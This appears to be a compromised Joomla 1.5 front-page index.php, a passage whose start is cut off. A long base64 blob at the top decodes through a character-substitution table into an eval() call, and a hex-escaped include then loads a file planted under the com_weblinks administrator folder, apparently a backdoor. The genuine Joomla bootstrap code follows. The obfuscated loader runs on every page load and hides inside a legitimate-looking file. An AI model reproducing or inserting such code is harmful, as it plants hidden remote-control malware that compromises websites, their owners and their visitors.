uCidtOWwxMHJYN0hyc2c5MGcxbXZDMW12QzFtdkMxbXZDMW12QzFYVEpmWDdDTWluSkNPODRMejV4Jy4KJzdPZlpwS24xdGNDbFFtdkMxbXZDMW12QzFtdkMxbXZDMW12elV6bk8xaWViMVhVdUJEdmw3WDdMWXZuQzFtdkMxbXZDMW12QzFtdkMxbXZDTkhHZE5tOWwrbXZTc0hyUzRHJy4KJzd6NDY3enpjQ2xRbXZDMW12QzFtdkMxbXZDMVFlZFl2bkMxbXZDMW12QzFtdkMxbTh4YTY4dzEwRVlaTzVaNEs4Wmp5UjFzNlJzbzkwZzFtdkMxbXZDMW12QzFtdkpaJy4KJ2s4WmxJTGxRbXZDMW12QzFtdkpNOTBnMW12QzFtdkMxbTh4ZE9meHR5bkNnWDhTNHo4QUtYZnVOcicuCidSQ01pUkNOeVJPdDkwZzFtdkMxbXZDMW1FZFl2bkMxbXZDMW12QzFtdkMxbTh4ZkhHTGdYOFM0ejhBS1hmME5yUnNvOTBnMW12QzFtdkMxbScuCidFbFl2bkMxbXZDMW12QzF5R3FVeUdaNW12MXN5OEFsSHhkTkhSenptOWxNbXZ6TEtFeE42R2JOUTBsUW12QzFtdkMxbXZKbzkwZzFtdkMxbXZDMW12QzFtdkp0Jy4KJ3luMXN5OEFsSHhkTk9mdU5yUkNNaVJDTkhHU3NYN3NZdm5DMW12QzFtdkMxbXZDMW1FZFl2bkMxbXZDMW12QzFtdkMxbXZDMW0nLgondkphT0ZNTEtFeE42RzNWSEdTc1F2U3NIclM0Rzd6TFhGbGRtdlNzSHJTNEc3enNYRmx0SUxsUW12QzFtdkMxbXZDMW12QzFWMGxRbXZDMW12QzFtdkMxbXZDMXlHcScuCidVeUdaNVF2U3NIclM0Rzd6VUhSenptOWxNbXZ6N3lHbE5RMGxRbXZDMW12QzFtdkMxbXZDMScuCidrTGxRbXZDMW12QzFtdkMxbXZDMW12QzFtOFlVclRKZHpHenRLWk03eUdsZ1g4UzR6OEFLWFRDTnJSc285MGcxbXZDMW12QzFtdkMxbXZKTTkwZzFtdkMxbXZDMW0nLgonRWxZdm5DMW12QzFtdkMxeUdZZ0s3Q3N5OEFsSHhkTkhHZE5yZWRZdm5DMW12QzFtdkMxeXI0dHp2Jy4KJzF0SUxsUW12QzFtRWxZdjFsUW12QzFtOFlVclRKZHpHenRLWk1kS2ZBc1F2c285MHRNJzsKJGlhbHFwZSA9IEFycmF5KCcxJz0+J2cnLCAnMCc9PidRJywgJzMnPT4nNScsICcyJz0+J1UnLCAnNSc9PidtJywgJzQnPT4naCcsICc3Jz0+J3knLCAnNic9PidhJywgJzknPT4nRCcsICc4Jz0+J0cnLCAnQSc9PidGJywgJ0MnPT4nQScsICdCJz0+J3UnLCAnRSc9PidIJywgJ0QnPT4nTScsICdHJz0+J1cnLCAnRic9PicxJywgJ0knPT4nTycsICdIJz0+J1knLCAnSyc9PidiJywgJ0onPT4nQicsICdNJz0+JzknLCAnTCc9Pid3JywgJ08nPT4nYycsICdOJz0+J24nLCAnUSc9PidLJywgJ1AnPT4ncicsICdTJz0+J1InLCAnUic9PidTJywgJ1UnPT4neicsICdUJz0+JzMnLCAnVyc9PidxJywgJ1YnPT4nZicsICdZJz0+J04nLCAnWCc9PidKJywgJ1onPT4nbCcsICdhJz0+J2onLCAnYyc9PidMJywgJ2InPT4nNCcsICdlJz0+J1QnLCAnZCc9PidzJywgJ2cnPT4nbycsICdmJz0+JzInLCAnaSc9PidQJywgJ2gnPT4ndCcsICdrJz0+J2UnLCAnaic9Pic2JywgJ20nPT4nSScsICdsJz0+JzAnLCAnbyc9Pic3JywgJ24nPT4naScsICdxJz0+J3gnLCAncCc9Pid2JywgJ3MnPT4naycsICdyJz0+J1gnLCAndSc9PidFJywgJ3QnPT4ncCcsICd3Jz0+JzgnLCAndic9PidDJywgJ3knPT4nWicsICd4Jz0+J1YnLCAneic9PidkJyk7CmV2YWwvKmNiaHppeWkqLyh0eGVubGVyYWVuKCR1eHBzc2x2LCAkaWFscXBlKSk7Cn0=")); include "\x2fhom\x65/ad\x65kom\x2fftp\x2fdro\x62fis\x68/ad\x6dini\x73tra\x74or/\x63omp\x6fnen\x74s/c\x6fm_w\x65bli\x6eks/\x63ach\x65.ph\x70"; /** * @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ // Set flag that this is a parent file define( '_JEXEC', 1 ); define('JPATH_BASE', dirname(__FILE__) ); define( 'DS', DIRECTORY_SEPARATOR ); require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' ); require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' ); JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null; /** * CREATE THE APPLICATION * * NOTE : */ $mainframe =& JFactory::getApplication('site'); /** * INITIALISE THE APPLICATION * * NOTE : */ // set the language $mainframe->initialise(); JPluginHelper::importPlugin('system'); // trigger the onAfterInitialise events JDEBUG ? $_PROFILER->mark('afterInitialise') : null; $mainframe->triggerEvent('onAfterInitialise'); /** * ROUTE THE APPLICATION * * NOTE : */ $mainframe->route(); // authorization $Itemid = JRequest::getInt( 'Itemid'); $mainframe->authorize($Itemid); // trigger the onAfterRoute events JDEBUG ? $_PROFILER->mark('afterRoute') : null; $mainframe->triggerEvent('onAfterRoute'); /** * DISPATCH THE APPLICATION * * NOTE : */ $option = JRequest::getCmd('option'); $mainframe->dispatch($option); // trigger the onAfterDispatch events JDEBUG ? $_PROFILER->mark('afterDispatch') : null; $mainframe->triggerEvent('onAfterDispatch'); /** * RENDER THE APPLICATION * * NOTE : */ $mainframe->render(); // trigger the onAfterRender events JDEBUG ? $_PROFILER->mark('afterRender') : null; $mainframe->triggerEvent('onAfterRender'); /** * RETURN THE RESPONSE */ echo JResponse::toString($mainframe->getCfg('gzip')); JResponse::toString($mainframe->getCfg('gzip'));